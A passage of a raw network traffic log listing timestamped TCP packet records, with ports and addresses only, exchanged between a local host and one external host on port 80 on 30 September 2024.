Sep 30, 2024 15:20:13.923182964 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.923192978 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.923202991 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.923213005 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.923223019 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.923230886 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.923255920 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.923266888 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.959439039 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.964236975 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.181339979 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.181359053 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.181370020 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.181430101 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:14.181430101 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:14.181448936 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.181461096 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.181504965 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:14.181519985 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:14.181683064 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.181700945 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.181727886 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:14.181755066 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:14.181816101 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.181875944 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.181879044 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:14.181888103 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.181900024 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.181910992 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.181917906 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:14.181921959 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.181932926 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:14.181955099 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:14.181984901 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:14.181988955 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.182085991 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:14.182097912 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.182109118 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.182118893 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.182130098 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.182147980 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.182157040 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:14.182157040 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:14.182157993 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.182169914 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.182200909 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:14.182200909 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:14.182229996 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:14.182394028 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.182404041 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.182414055 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.182425976 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.182435989 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.182445049 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:14.182446003 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.182452917 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:14.182459116 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.182468891 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.182480097 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.182487965 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:14.182511091 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:14.182523012 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:14.182663918 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.182677031 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.182687044 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.182697058 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.182708025 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.182710886 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:14.182719946 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.182740927 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:14.182754993 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:14.182914972 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.182925940 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.182935953 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.182946920 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.182956934 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.182962894 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:14.182967901 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.182971001 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:14.182981014 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.183001995 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:14.183042049 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:14.183217049 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.183228016 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.183243990 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.183254004 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.183269978 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.183279991 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.183283091 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:14.183283091 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:14.183293104 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.183304071 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.183320045 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.183324099 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:14.183324099 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:14.183331966 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.183345079 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.183355093 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.183362961 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:14.183366060 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.183387995 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:14.183410883 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:14.183410883 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:14.183845997 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.183862925 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.183872938 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.183882952 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.183888912 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:14.183895111 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.183906078 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.183916092 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.183927059 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.183934927 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:14.183934927 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:14.183937073 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.183947086 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.183959007 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.183968067 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.183976889 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:14.183976889 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:14.183979988 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.183990955 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.184003115 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.184011936 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.184014082 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:14.184014082 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:14.184022903 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.184034109 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.184043884 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.184052944 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:14.184053898 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:14.184055090 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.184067965 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.184108973 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:14.184108973 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:14.184715986 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.184739113 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.184750080 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.184760094 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.184765100 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:14.184772015 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.184783936 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.184793949 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.184803963 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.184808969 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:14.184808969 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:14.184817076 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.184828997 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.184828997 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:14.184840918 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.184851885 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.184861898 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.184871912 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:14.184874058 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.184885979 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.184895039 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:14.184895039 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:14.184897900 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.184910059 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.184910059 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:14.184921026 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.184931993 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.184942007 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.184953928 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.184962988 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:14.184979916 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:14.184979916 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:14.185009003 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:14.185436010 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.185447931 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.185458899 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.185467958 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.185480118 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.185491085 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:14.185491085 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:14.185492039 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.185502052 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.185535908 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:14.185535908 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:14.185741901 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.185753107 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.185761929 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.185770988 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.185781956 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.185797930 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.185803890 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:14.185803890 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:14.185808897 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.185821056 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.185832024 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.185837984 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:14.185846090 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.185857058 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.185861111 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:14.185868979 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.185879946 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.185883999 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:14.185893059 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.185904980 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.185915947 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.185920954 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:14.185920954 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:14.185950994 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:14.268266916 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.268280029 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.268292904 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.268316984 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.268326998 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.268337965 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.268403053 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.268414021 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.268428087 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:14.268428087 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:14.268428087 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:14.268448114 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.268455982 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:14.268455982 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:14.268481016 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:14.268495083 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.268506050 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.268552065 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:14.268583059 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.268599033 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.268645048 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:14.268645048 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:14.268699884 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.268711090 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.268721104 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.268754005 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.268763065 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:14.268763065 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:14.268765926 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.268779039 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.268810987 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:14.268810987 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:14.268867970 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:14.268897057 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.268908978 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.268919945 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.268949032 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:14.268971920 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:14.269033909 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.269047022 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.269057989 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.269092083 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:14.269124985 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.269141912 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:14.269198895 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.269211054 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:14.269212008 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.269223928 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.269234896 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.269246101 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.269258022 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:14.269258022 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:14.269280910 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:14.269315004 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:14.269367933 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.269380093 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.269391060 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.269407988 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.269424915 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:14.269435883 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:14.269459963 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:14.269511938 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.269522905 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.269534111 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.269543886 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.269556046 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.269567966 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:14.269587994 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:14.269628048 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:14.269792080 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.269804955 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.269815922 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.269826889 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.269836903 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.269848108 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.269857883 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.269866943 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:14.269866943 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:14.269870043 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.269882917 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.269891024 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:14.269891024 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:14.269942999 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:14.270117044 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.270129919 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.270140886 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.270170927 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:14.270204067 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.270211935 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:14.270215988 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.270227909 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.270239115 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.270250082 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.270261049 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.270272017 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:14.270272017 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:14.270272970 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.270308971 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:14.270324945 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:14.270612955 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.270625114 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.270636082 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.270647049 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.270663023 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.270673990 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.270684004 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.270688057 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:14.270688057 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:14.270715952 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:14.270715952 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:14.270911932 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.270922899 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.270934105 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.270945072 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.270955086 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.270965099 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.270968914 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:14.270976067 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.270998955 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:14.270998955 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:14.271028996 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:14.271049976 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.271063089 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.271073103 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.271090031 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.271101952 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.271114111 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:14.271116972 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:14.271116972 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:14.271126986 CEST	80	49699	185.215.113.37	192.168.2.7
